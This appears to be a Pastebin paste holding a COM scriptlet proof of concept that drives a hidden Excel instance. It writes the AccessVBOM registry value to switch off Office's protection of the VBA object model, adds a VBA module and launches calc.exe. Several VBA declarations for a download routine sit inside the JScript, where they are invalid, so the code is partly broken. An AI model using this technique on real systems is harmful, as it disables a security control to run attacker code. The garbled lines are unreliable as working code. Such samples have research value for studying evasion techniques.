Advertisement
Guest User

Untitled

a guest
Apr 20th, 2019
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.10 KB | None | 0 0
  1. <?XML version="1.0"?>
  2. <scriptlet>
  3. <registration
  4. progid="CalcShellcode"
  5. classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
  6. <!-- Proof Of Concept - Casey Smith @subTee -->
  7. <!-- Orginal Shellcode Example : https://www.scriptjunkie.us/2012/01/direct-shellcode-execution-in-ms-office-macros/ -->
  8. <script language="JScript">
  9. <![CDATA[
  10.  
  11. var objExcel = new ActiveXObject("Excel.Application");
  12. objExcel.Visible = false;
  13. var WshShell = new ActiveXObject("WScript.Shell");
  14. var Application_Version = objExcel.Version;//Auto-Detect Version
  15. var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Excel\\Security\\AccessVBOM";
  16. WshShell.RegWrite(strRegPath, 1, "REG_DWORD");
  17. var objWorkbook = objExcel.Workbooks.Add();
  18. var xlmodule = objWorkbook.VBProject.VBComponents.Add(1);
  19. WshShell.Run("calc.exe");
  20.  
  21. Dim strURL As String;
  22. Dim LocalFilePath As String;
  23. Dim DownloadStatus As Long;
  24.  
  25.  
  26.  
  27.  
  28.  
  29. objExcel.DisplayAlerts = false;
  30. objWorkbook.Close(false);
  31.  
  32. ]]>
  33. </script>
  34. </registration>
  35. </scriptlet>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement